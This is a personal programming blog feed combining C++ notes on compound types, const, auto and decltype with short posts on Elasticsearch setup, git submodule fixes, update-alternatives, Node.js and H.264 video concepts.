<p>A <em>compound type</em> is a type that is defined in terms of another type. C++ has
several <em>compound types</em>, two of which are <em>references</em> and <em>pointers</em></p>
<ul>
<li><em>declaration</em>: is a <em>base type</em> followed by a list of <em>declarators</em></li>
<li><em>base type</em>: type specifier, possibly qualified by const, that precedes the declarators in a declaration. The base type provides the common type on which the declarators in a declaration can build</li>
<li><em>declarator</em>: the part of a declaration that includes the name being defined and an optional type modifier</li>
</ul>
<p>References:</p>
<ul>
<li>References must be initialized. Once initialized, a reference remains bound to its initial object. There is no way to rebind a reference to refer to a different object.</li>
<li>References are not objects, we may not define a reference to a reference</li>
</ul>
<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="o">&</span><span class="n">refVal</span> <span class="o">=</span> <span class="n">ival</span><span class="p">;</span> <span class="c1">// refVal refers to (is another name for) ival</span>
<span class="c1">// ok: refVal3 is bound to the object to which refVal is bound, i.e., to ival</span>
<span class="kt">int</span> <span class="o">&</span><span class="n">refVal3</span> <span class="o">=</span> <span class="n">refVal</span><span class="p">;</span>
<span class="c1">// initializes i from the value in the object to which refVal is bound</span>
<span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">refVal</span><span class="p">;</span> <span class="c1">// ok: initializes i to the same value as ival</span>
</code></pre></div></div>
<ul>
<li>A reference may be bound only to an object, not to a literal or to the result of a more general expression</li>
<li>Type of a reference and the object to which the reference refers must match exactly (with two exceptions: reference to <em>const</em> can be initialized from any expression that can be converted to the type of the reference)</li>
</ul>
<p>Pointer</p>
<ul>
<li>A pointer is an object in its own right</li>
<li>Address-of operator (the <strong>&</strong> operator): return address of an object</li>
<li>Because references are not objects, they don’t have addresses. Hence, we may not define a pointer to a reference</li>
<li>The types of the pointer and the object to which it points must match (with two exceptions: pointer to const)</li>
<li>Dereference operator (the <strong>*</strong> operator): to access object which a pointer points to</li>
<li>null pointer:
<ul>
<li>nullptr: a literal</li>
<li>NULL: a macro/preprocessor variable</li>
</ul>
</li>
</ul>
<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="o">*</span><span class="n">p1</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span> <span class="c1">// equivalent to int *p1 = 0;</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">p2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="c1">// directly initializes p2 from the literal constant 0</span>
<span class="c1">// must #include cstdlib</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">p3</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span> <span class="c1">// equivalent to int *p3 = 0;</span>
</code></pre></div></div>
<ul>
<li>Advice: Initialize all Pointers
<ul>
<li>Define a pointer only after the object to which it should point has been defined</li>
<li>If there is no object to bind to a pointer, then initialize the pointer to nullptr or zero</li>
<li><em>void *</em> pointer: use to deal with memory as memory, rather than using the pointer to access the object stored in that memory</li>
</ul>
</li>
</ul>
<p>Compound Type Declaration</p>
<ul>
<li><em>declaration</em>: is a <em>base type</em> followed by a list of <em>declarators</em></li>
<li><em>base type</em>: type specifier, possibly qualified by const, that precedes the declarators in a declaration. The base type provides the common type on which the declarators in a declaration can build</li>
<li><em>declarator</em>: the part of a declaration that includes the name being defined and an optional type modifier</li>
<li>Type modifiers (* or &) modify the type of variable not the <em>base type</em></li>
</ul>
<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span><span class="o">*</span> <span class="n">p1</span><span class="p">,</span> <span class="n">p2</span><span class="p">;</span>
<span class="c1">// p1 is a pointer to int; p2 is an int</span>
<span class="c1">// because the * modifies only type of p1 and the base type still is int not int* </span>
</code></pre></div></div>
<p>Pointer to Pointer</p>
<p>Reference to pointer</p>
<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">42</span><span class="p">;</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">p</span><span class="p">;</span> <span class="c1">// p is a pointer to int</span>
<span class="kt">int</span> <span class="o">*&</span><span class="n">r</span> <span class="o">=</span> <span class="n">p</span><span class="p">;</span> <span class="c1">// r is a reference to the pointer p</span>
<span class="n">r</span> <span class="o">=</span> <span class="o">&</span><span class="n">i</span><span class="p">;</span> <span class="c1">// r refers to a pointer; assigning &i to r makes p point to i</span>
<span class="o">*</span><span class="n">r</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="c1">// dereferencing r yields i, the object to which p points; changes i to 0</span>
</code></pre></div></div>
<h4 id="const-qualifier"><em>const</em> Qualifier</h4>
<ul>
<li>By default, <em>const</em> objects are local to a file</li>
<li>To share a const object among multiple files, you must define the variable as <em>extern</em></li>
<li>Reference/pointer to <em>const</em> restricts only what we can do through that reference/pointer but says nothing about whether the underlying object itself is <em>const</em></li>
<li><em>const</em> pointer (should read right to left)</li>
</ul>
<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">const</span> <span class="kt">double</span> <span class="o">*</span><span class="k">const</span> <span class="n">pip</span> <span class="o">=</span> <span class="o">&</span><span class="n">pi</span><span class="p">;</span>
<span class="c1">// pip is a const pointer which point to const double</span>
</code></pre></div></div>
<p>Top-level/low-level <em>const</em></p>
<ul>
<li>Top-level const: The const that specifies that an object may not be changed</li>
<li>Low-level const: Low-level const appears in the base type of compound types</li>
</ul>
<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="kt">int</span> <span class="o">*</span><span class="k">const</span> <span class="n">p1</span> <span class="o">=</span> <span class="o">&</span><span class="n">i</span><span class="p">;</span> <span class="c1">// we can't change the value of p1; const is top-level</span>
<span class="k">const</span> <span class="kt">int</span> <span class="n">ci</span> <span class="o">=</span> <span class="mi">42</span><span class="p">;</span> <span class="c1">// we cannot change ci; const is top-level</span>
<span class="k">const</span> <span class="kt">int</span> <span class="o">*</span><span class="n">p2</span> <span class="o">=</span> <span class="o">&</span><span class="n">ci</span><span class="p">;</span> <span class="c1">// we can change p2; const is low-level</span>
<span class="k">const</span> <span class="kt">int</span> <span class="o">*</span><span class="k">const</span> <span class="n">p3</span> <span class="o">=</span> <span class="n">p2</span><span class="p">;</span> <span class="c1">// right-most const is top-level, left-most is not</span>
<span class="k">const</span> <span class="kt">int</span> <span class="o">&</span><span class="n">r</span> <span class="o">=</span> <span class="n">ci</span><span class="p">;</span> <span class="c1">// const in reference types is always low-level</span>
</code></pre></div></div>
<ul>
<li>When we copy an object, top-level consts are ignored but low-level const is never ignored. both objects must have the same low-level const qualification or there must be a conversion between the types of the two objects</li>
</ul>
<p><em>constexpr</em> and Constant Expressions (c++11)</p>
<ul>
<li>To ask the compiler to verify that a variable is a constant expression</li>
</ul>
<p>Literal Types</p>
<ul>
<li>The types we can use in a <em>constexpr</em></li>
</ul>
<p>Pointers and constexpr</p>
<ul>
<li>When we define a pointer in a <em>constexpr</em> declaration, the <em>constexpr</em> specifier applies to the pointer, not the type to which the pointer points to</li>
</ul>
<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">const</span> <span class="kt">int</span> <span class="o">*</span><span class="n">p</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span> <span class="c1">// p is a pointer to a const int</span>
<span class="k">constexpr</span> <span class="kt">int</span> <span class="o">*</span><span class="n">q</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span> <span class="c1">// q is a const pointer to int</span>
</code></pre></div></div>
<ul>
<li>This is because, <em>constexpr</em> imposes a <em>top-level const</em> on the objects it defines</li>
</ul>
<h4 id="dealing-with-types">Dealing With Types</h4>
<p>Type Aliases</p>
<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="kt">double</span> <span class="n">wages</span><span class="p">;</span> <span class="c1">// wages is a synonym for double</span>
<span class="k">typedef</span> <span class="n">wages</span> <span class="n">base</span><span class="p">,</span> <span class="o">*</span><span class="n">p</span><span class="p">;</span> <span class="c1">// base is a synonym for double, p for double*</span>
</code></pre></div></div>
<ul>
<li>The keyword <em>typedef</em> may appear as part of the <em>base type</em> of a declaration. Declarations that include typedef define type aliases rather than variables</li>
<li>C++11 type alias</li>
</ul>
<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="n">SI</span> <span class="o">=</span> <span class="n">Sales_item</span><span class="p">;</span> <span class="c1">// SI is a synonym for Sales_item</span>
</code></pre></div></div>
<p>Pointers, const , and Type Aliases</p>
<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="kt">char</span> <span class="o">*</span><span class="n">pstring</span><span class="p">;</span>
<span class="k">const</span> <span class="n">pstring</span> <span class="n">cstr</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="c1">// cstr is a constant pointer to char because pstring is base type</span>
<span class="k">const</span> <span class="n">pstring</span> <span class="o">*</span><span class="n">ps</span><span class="p">;</span> <span class="c1">// ps is a pointer to a constant pointer to char</span>
</code></pre></div></div>
<ul>
<li>It is incorrect to interpret a declaration that uses a type alias by conceptually replacing the alias with its corresponding type</li>
</ul>
<p>The <em>auto</em> Type Specifier (C++11)</p>
<ul>
<li>let the compiler figure out the type</li>
<li>variable that uses auto as its type specifier must have an initializer</li>
</ul>
<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">auto</span> <span class="n">item</span> <span class="o">=</span> <span class="n">val1</span> <span class="o">+</span> <span class="n">val2</span><span class="p">;</span> <span class="c1">// item initialized to the result of val1 + val2</span>
<span class="k">auto</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="o">*</span><span class="n">p</span> <span class="o">=</span> <span class="o">&</span><span class="n">i</span><span class="p">;</span> <span class="c1">// ok: i is int and p is a pointer to int</span>
<span class="k">auto</span> <span class="n">sz</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">pi</span> <span class="o">=</span> <span class="mf">3.14</span><span class="p">;</span> <span class="c1">// error: inconsistent types for sz and pi, because a declaration can involve only a single base type</span>
</code></pre></div></div>
<p>Compound Types, const , and auto</p>
<ul>
<li>when use a reference as an initializer, the initializer is the corresponding object</li>
<li><em>auto</em> ignores <em>top-level consts</em> and keep <em>low-level consts</em></li>
</ul>
<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&</span><span class="n">r</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span>
<span class="k">auto</span> <span class="n">a</span> <span class="o">=</span> <span class="n">r</span><span class="p">;</span> <span class="c1">// a is an int (r is an alias for i, which has type int)</span>
<span class="k">const</span> <span class="kt">int</span> <span class="n">ci</span> <span class="o">=</span> <span class="n">i</span><span class="p">,</span> <span class="o">&</span><span class="n">cr</span> <span class="o">=</span> <span class="n">ci</span><span class="p">;</span>
<span class="k">auto</span> <span class="n">b</span> <span class="o">=</span> <span class="n">ci</span><span class="p">;</span> <span class="c1">// b is an int (top-level const in ci is dropped)</span>
<span class="k">auto</span> <span class="n">c</span> <span class="o">=</span> <span class="n">cr</span><span class="p">;</span> <span class="c1">// c is an int (cr is an alias for ci whose const is top-level)</span>
<span class="k">auto</span> <span class="n">d</span> <span class="o">=</span> <span class="o">&</span><span class="n">i</span><span class="p">;</span> <span class="c1">// d is an int*(& of an int object is int*)</span>
<span class="k">auto</span> <span class="n">e</span> <span class="o">=</span> <span class="o">&</span><span class="n">ci</span><span class="p">;</span> <span class="c1">// e is const int*(& of a const object is low-level const)</span>
</code></pre></div></div>
<p>The decltype Type Specifier (C++11)</p>
<ul>
<li>Define a variable with a type that the compiler deduces from an expression</li>
<li>When deduce type from function, the compiler gives the same type as the type that would be returned if we were to call the function</li>
<li>The way decltype handles top-level const and references differs subtly from the way <em>auto</em> does. When deduce type from a variable, decltype returns the type of that variable, including top-level const and references</li>
<li>decltype is the only context in which a variable defined as a reference is not treated as a synonym for the object to which it refers</li>
</ul>
<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">decltype</span><span class="p">(</span><span class="n">f</span><span class="p">())</span> <span class="n">sum</span> <span class="o">=</span> <span class="n">x</span><span class="p">;</span> <span class="c1">// sum has whatever type f returns</span>
<span class="k">const</span> <span class="kt">int</span> <span class="n">ci</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&</span><span class="n">cj</span> <span class="o">=</span> <span class="n">ci</span><span class="p">;</span>
<span class="k">decltype</span><span class="p">(</span><span class="n">ci</span><span class="p">)</span> <span class="n">x</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="c1">// x has type const int</span>
<span class="k">decltype</span><span class="p">(</span><span class="n">cj</span><span class="p">)</span> <span class="n">y</span> <span class="o">=</span> <span class="n">x</span><span class="p">;</span> <span class="c1">// y has type const int& and is bound to x</span>
<span class="k">decltype</span><span class="p">(</span><span class="n">cj</span><span class="p">)</span> <span class="n">z</span><span class="p">;</span> <span class="c1">// error: z is a reference and must be initialized</span>
</code></pre></div></div>
<p>decltype and References</p>
<ul>
<li><em>decltype</em> returns a <em>reference type</em> for <em>expressions</em> that yield objects that can stand on the left-hand side of the assignment</li>
<li><em>decltype</em> returns a reference when apply to dereference operator</li>
</ul>
<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">42</span><span class="p">,</span> <span class="o">*</span><span class="n">p</span> <span class="o">=</span> <span class="o">&</span><span class="n">i</span><span class="p">,</span> <span class="o">&</span><span class="n">r</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span>
<span class="k">decltype</span><span class="p">(</span><span class="n">r</span> <span class="o">+</span> <span class="mi">0</span><span class="p">)</span> <span class="n">b</span><span class="p">;</span> <span class="c1">// ok: addition yields an int; b is an (uninitialized) int</span>
<span class="k">decltype</span><span class="p">(</span><span class="o">*</span><span class="n">p</span><span class="p">)</span> <span class="n">c</span><span class="p">;</span> <span class="c1">// error: c is int& and must be initialized</span>
</code></pre></div></div>
<ul>
<li>Deduction done by <em>decltype</em> depends on the <em>form of its given expression</em></li>
<li>decltype(( variable )) (note, double parentheses) is always a reference type, but decltype( variable ) is a reference type only if variable is a reference</li>
</ul>
<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// decltype of a parenthesized variable is always a reference</span>
<span class="k">decltype</span><span class="p">((</span><span class="n">i</span><span class="p">))</span> <span class="n">d</span><span class="p">;</span> <span class="c1">// error: d is int& and must be initialized</span>
<span class="k">decltype</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="n">e</span><span class="p">;</span> <span class="c1">// ok: e is an (uninitialized) int</span>
</code></pre></div></div>
<h4 id="defining-our-own-data-structures">Defining Our Own Data Structures</h4>
<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="nc">Sales_data</span> <span class="p">{</span>
<span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">bookNo</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="n">units_sold</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="kt">double</span> <span class="n">revenue</span> <span class="o">=</span> <span class="mf">0.0</span><span class="p">;</span>
<span class="p">};</span>
</code></pre></div></div>
<ul>
<li>The close curly that ends the class body must be followed by a semicolon because we can define variables after the class body</li>
<li><em>in-class initializer</em> (C++11): members without an initializer are default initialized
<ul>
<li><em>In-class initializers</em> are restricted as to the form we can use: They must either be enclosed inside curly braces (<em>list initializer</em>) or follow an = sign. We may not specify an in-class initializer inside parentheses</li>
</ul>
</li>
</ul>
H264/RTSP streaming stuff2018-05-08T00:00:00+00:00http://memto.github.io/linux/program/2018/05/08/h264-rtsp-streaming-stuff<h5 id="ref">Ref</h5>
<ul>
<li><a href="http://csrgxtu.github.io/2015/04/08/An-Introduction-To-RTSP/">An Introduction To RTSP</a></li>
<li><a href="https://github.com/edsiper/h264dec">A RTSP client that extract h264 video frames (code)</a></li>
<li>
<p><a href="https://stackoverflow.com/questions/7665217/how-to-process-raw-udp-packets-so-that-they-can-be-decoded-by-a-decoder-filter-i?answertab=votes#tab-top">Stream format and parse</a></p>
</li>
<li>
<p><a href="https://tools.ietf.org/html/rfc4566#page-22">SDP: Session Description Protocol</a></p>
</li>
<li><a href="http://selimatmaca.com/index.php/live-streaming">Live streamming using opensource</a></li>
</ul>
Git submodule Permission denied (publickey)2018-05-08T00:00:00+00:00http://memto.github.io/linux/tooltips/2018/05/08/git-submodule-permission-denied-publickey<h5 id="issue-git-submodule-permission-denied-publickey">Issue: git submodule Permission denied (publickey)</h5>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git submodule update <span class="nt">--init</span>
Cloning into <span class="s1">'deps/monkey'</span>...
Permission denied <span class="o">(</span>publickey<span class="o">)</span><span class="nb">.</span>
fatal: Could not <span class="nb">read </span>from remote repository.
Please make sure you have the correct access rights
and the repository exists.
fatal: clone of <span class="s1">'git@github.com:monkey/monkey'</span> into submodule path <span class="s1">'deps/monkey'</span> failed
</code></pre></div></div>
<h5 id="solution">Solution</h5>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Edit your .gitmodule file with the https url, <span class="k">for </span>example:
<span class="o">[</span>submodule <span class="s2">"deps/monkey"</span><span class="o">]</span>
path <span class="o">=</span> deps/monkey
url <span class="o">=</span> https://github.com/monkey/monkey.git
</code></pre></div></div>
<p>Credit: <a href="https://stackoverflow.com/questions/11410017/git-submodule-update-over-https/30885128?utm_medium=organic&utm_source=google_rich_qa&utm_campaign=google_rich_qa">Stackoverflow</a></p>
Anaconda and conda stuff2018-04-27T00:00:00+00:00http://memto.github.io/linux/tooltips/2018/04/27/anaconda-and-conda-stuff<h3 id="download-and-install-anaconda">Download and install Anaconda</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://www.anaconda.com/download/#linux
https://repo.anaconda.com/archive/Anaconda3-5.1.0-Linux-x86_64.sh
</code></pre></div></div>
<h3 id="conda-command">conda command</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://conda.io/docs/_downloads/conda-cheatsheet.pdf
</code></pre></div></div>
mongoosastic(4.4.1) and elasticsearch(6.2.3)2018-04-04T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2018/04/04/mongoosastic-4-4-1-and-elasticsearch-6-2-3<h4 id="ref">Ref</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://github.com/mongoosastic/mongoosastic
https://www.elastic.co/blog/strings-are-dead-long-live-strings
</code></pre></div></div>
<h4 id="how-it-works">How it works?</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>const mongoose = require('mongoose');
const mongoosastic = require('mongoosastic');
const { Schema } = mongoose;
const ProductSchema = new Schema({
category: { type: Schema.Types.ObjectId, ref: 'Category' },
name: String,
price: Number,
image: String,
});
ProductSchema.plugin(mongoosastic, {
hosts: ['localhost:9200'],
});
module.exports = mongoose.model('Product', ProductSchema);
</code></pre></div></div>
<p>By using mongoosastic as plugin there shall be some function added to Product model (ex: Product.createMapping, Product.synchronize)</p>
<p><strong>createMapping</strong> shall create a query with content map from mongo schema fields (ex: category, name) into elasticsarch fields</p>
<p>Ex: body: ‘{“product”:{“properties”:{“category”:{“type”:”string”},”name”:{“type”:”string”},”price”:{“type”:”long”},”image”:{“type”:”string”}}}</p>
<h4 id="issue">Issue</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>'[mapper_parsing_exception] No handler for type [string] declared on field [category]',
</code></pre></div></div>
<p>This is because on version 6.x.x of elasticsearch <em>string</em> is removed and replaced by <em>text</em> type</p>
<p>Fix: add <em>customProperties</em> when set <em>mognosastic</em> plugin</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ProductSchema.plugin(mongoosastic, {
hosts: ['localhost:9200'],
customProperties: {
category: {
type: 'text',
},
name: {
type: 'text',
},
price: {
type: 'long',
},
image: {
type: 'text',
},
},
});
</code></pre></div></div>
Elasticsearch Ubuntu 16.042018-04-04T00:00:00+00:00http://memto.github.io/linux/tooltips/2018/04/04/elasticsearch-ubuntu-16-04<h2 id="ref">Ref:</h2>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://www.elastic.co/guide/en/elasticsearch/reference/5.0/deb.html
https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-elasticsearch-on-ubuntu-16-04
</code></pre></div></div>
<h4 id="download-and-install-elasticsearch-debian-package-manually">Download and install elasticsearch debian package manually</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>download deb file: https://www.elastic.co/downloads/elasticsearch
$ dpkg -i elasticsearch-<Version>.deb
</code></pre></div></div>
<h4 id="download-jdk-and-setup-java_home">Download jdk and setup JAVA_HOME</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>download jdk: http://www.oracle.com/technetwork/java/javase/downloads/index.html
(ex: jdk-10_linux-x64_bin.tar.gz for now)
extract the downloaded tar.gz (ex: /home/dvn0zz/jdk-10)
</code></pre></div></div>
<h4 id="set-java_home-error-could-not-find-java-set-java_home-or-ensure-java-is-in-path">set JAVA_HOME (error: could not find java; set JAVA_HOME or ensure java is in PATH)</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>elasticsearch cannot get JAVA_HOME export from .bashrc or .profile
it needs to be set in /etc/default/elasticsearch (ex: JAVA_HOME=/home/dvn0zz/jdk-10)
</code></pre></div></div>
<h4 id="manage-as-systemd-service">Manage as systemd service</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo /bin/systemctl enable elasticsearch.service
sudo systemctl start elasticsearch.service
sudo systemctl stop elasticsearch.service
sudo systemctl status elasticsearch.service
sudo journalctl --unit elasticsearch --since "2016-10-30 18:17:16"
</code></pre></div></div>
<h4 id="verify">Verify</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -X GET 'http://localhost:9200'
</code></pre></div></div>
VirtualBox on Ubuntu 16.04 fails to load VirtualBox Kernel Modules2018-01-10T00:00:00+00:00http://memto.github.io/linux/tooltips/misc/2018/01/10/virtualbox-on-ubuntu-16-04-fails-to-load-virtualbox-kernel-modules<h3 id="ref">Ref</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://askubuntu.com/questions/900118/vboxdrv-sh-failed-modprobe-vboxdrv-failed-please-use-dmesg-to-find-out-why
</code></pre></div></div>
linux update-alternatives2018-01-10T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2018/01/10/linux-update-alternatives<p>sudo update-alternatives –install /usr/bin/gcc gcc /usr/bin/gcc-4.3 10
sudo update-alternatives –install /usr/bin/gcc gcc /usr/bin/gcc-4.4 20</p>
<p>sudo update-alternatives –install /usr/bin/g++ g++ /usr/bin/g++-4.3 10
sudo update-alternatives –install /usr/bin/g++ g++ /usr/bin/g++-4.4 20</p>
<p>sudo update-alternatives –install /usr/bin/cc cc /usr/bin/gcc 30
sudo update-alternatives –set cc /usr/bin/gcc</p>
<p>sudo update-alternatives –install /usr/bin/c++ c++ /usr/bin/g++ 30
sudo update-alternatives –set c++ /usr/bin/g++lp.</p>
<p>sudo update-alternatives –config gcc
sudo update-alternatives –config g++</p>
NodeJS stuff2017-12-29T00:00:00+00:00http://memto.github.io/program/2017/12/29/nodejs-stuff<h3 id="architecture">Architecture</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://stackoverflow.com/questions/36766696/which-is-correct-node-js-architecture
</code></pre></div></div>
<p><img src="/media/nodejs-system.jpg" alt="nodejs-system.jpg" /></p>
<h3 id="moduleexportrequire">Module/export/require</h3>
<h3 id="event-loop">Event loop</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://jsblog.insiderattack.net/event-loop-and-the-big-picture-nodejs-event-loop-part-1-1cb67a182810
</code></pre></div></div>
<p><em>Libuv in NodeJS architecture</em>
<img src="/media/nodejs-libuv.png" alt="nodejs-libuv.png" /></p>
<p>//</p>
<p><em>Libuv components</em>
<img src="/media/libuv.png" alt="libuv.png" /></p>
<p>//</p>
<p><em>Event Queues</em>
<img src="/media/event-queue.png" alt="event-queue.png" /></p>
Digital Image and Video Stuff2017-12-08T00:00:00+00:00http://memto.github.io/misc/2017/12/08/digital-image-and-video-stuff<h4 id="term">Term</h4>
<ul>
<li><a href="https://wolfcrow.com/blog/understanding-mpeg-2-mpeg-4-h-264-avchd-and-h-265/">Understanding MPEG-2, MPEG-4, H.264, AVCHD and H.265</a></li>
<li><a href="https://wolfcrow.com/blog/program-stream-vs-transport-stream-the-simple-difference/">Program Stream vs Transport Stream</a></li>
</ul>
<h4 id="image-memory-representation">Image memory representation</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://www.collabora.com/news-and-blog/blog/2016/02/16/a-programmers-view-on-digital-images-the-essentials/
</code></pre></div></div>
<p><img src="/media/image=layout.png" alt="image layout" /></p>
<ul>
<li>Multi-Planar/single-planar</li>
</ul>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In the case of planar data, such as YUV420, linesize[i] contains stride for the i-th plane.
For example, for frame 640x480 data[0] contains pointer to Y component, data[1] and data[2] contains pointers to U and V planes.
In this case, linesize[0] == 640, linesize[1] == linesize[2] == 320 (because the U and V planes is less than Y plane half)
In the case of pixel data (RGB24), there is only one plane (data[0]) and linesize[0] == width * channels (640 * 3 for RGB24)
</code></pre></div></div>
<p>Credit: <a href="https://stackoverflow.com/questions/13286022/can-anyone-help-in-understanding-avframe-linesize?utm_medium=organic&utm_source=google_rich_qa&utm_campaign=google_rich_qa">Stackoverflow</a></p>
<h4 id="intro">Intro</h4>
<ul>
<li><a href="https://docs.google.com/presentation/d/17Z31kEkl_NGJ0M66reqr9_uTG6tI5EDDVXpdPKVuIrs/edit#slide=id.p">Definitive Workshop for video developers</a></li>
<li><a href="https://github.com/leandromoreira/digital_video_introduction">A hands-on introduction to video technology</a></li>
</ul>
<h4 id="ffmpeg">FFmpeg</h4>
<ul>
<li>Resource collection
<ul>
<li><a href="https://www.whoishostingthis.com/compare/ffmpeg/resources/#books-on-ffmpeg-and-related-topics">books-on-ffmpeg-and-related-topics</a></li>
</ul>
</li>
<li>Commands usage:
<ul>
<li><a href="http://slhck.info/ffmpeg-encoding-course/#/1">INTRODUCTION TO FFMPEG</a></li>
</ul>
</li>
<li>Developmet using ffmpeg’s libs</li>
</ul>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://github.com/leandromoreira/ffmpeg-libav-tutorial
http://leixiaohua1020.github.io/#ffmpeg-development-examples
https://stackoverflow.com/questions/3199489/meaning-of-ffmpeg-output-tbc-tbn-tbr
https://stackoverflow.com/questions/43333542/what-is-video-timescale-timebase-or-timestamp-in-ffmpeg
</code></pre></div></div>
<h4 id="picture-vs-frame-vs-slice">Picture vs Frame vs Slice</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Picture := Frame | Field
Frame := a complete image
Field := set of odd-numbered or even-numbered scan lines composing a partial image.
Slice := spatially distinct region of a frame that is encoded separately from any other region in the same frame.
</code></pre></div></div>
<p>Credit: <a href="https://en.wikipedia.org/wiki/Video_compression_picture_types">wikipedia</a></p>
<h4 id="h264avc-bitstreams-formathierarchy-of-layers">H264/AVC bitstreams format/hierarchy of layers</h4>
<p><img src="/media/H264-AVC-syntax.jpg" alt="H264-AVC-syntax.jpg" /></p>
<p>Credit: <a href="https://www.vocal.com/video/h-264-avc-syntax/">www.vocal.com</a></p>
<ul>
<li>VLC NAL unit vs non-VLC NAL unit</li>
</ul>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>VCL NAL units := that contain encoded data of video pictures
non-VLC NAL units := that contain any associated additional information (such as SPS, PPS, SEI)
</code></pre></div></div>
<ul>
<li>Parameter sets</li>
</ul>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sequence parameter sets (SPS) := which apply to a series of consecutive coded video pictures called a coded video sequences.
picture parameter sets (PPS) := which apply to the decoding of one or more individual pictures within a coded video sequence
</code></pre></div></div>
<ul>
<li>Access unit</li>
</ul>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Access unit := A set of NAL units for a coded frame or field in a specified form/order.
(The decoding of each access unit results in one decoded picture)
</code></pre></div></div>
<p><img src="/media/NAL_Acess_Unit.JPG" alt="NAL_Acess_Unit.JPG" /></p>
<ul>
<li>Coded Video Sequences
<ul>
<li>Series of access units that are sequential in the NAL unit stream and use only one SPS.</li>
<li>Start with instantaneous decoding refresh (IDR) access unit. All following video frames or fields are coded as slices</li>
</ul>
</li>
</ul>
<p>Credit:</p>
<ul>
<li><a href="https://en.wikipedia.org/wiki/Network_Abstraction_Layer">wikipedia</a></li>
<li><a href="https://www.vocal.com/video/h-264-avc-syntax/">www.vocal.com</a></li>
</ul>
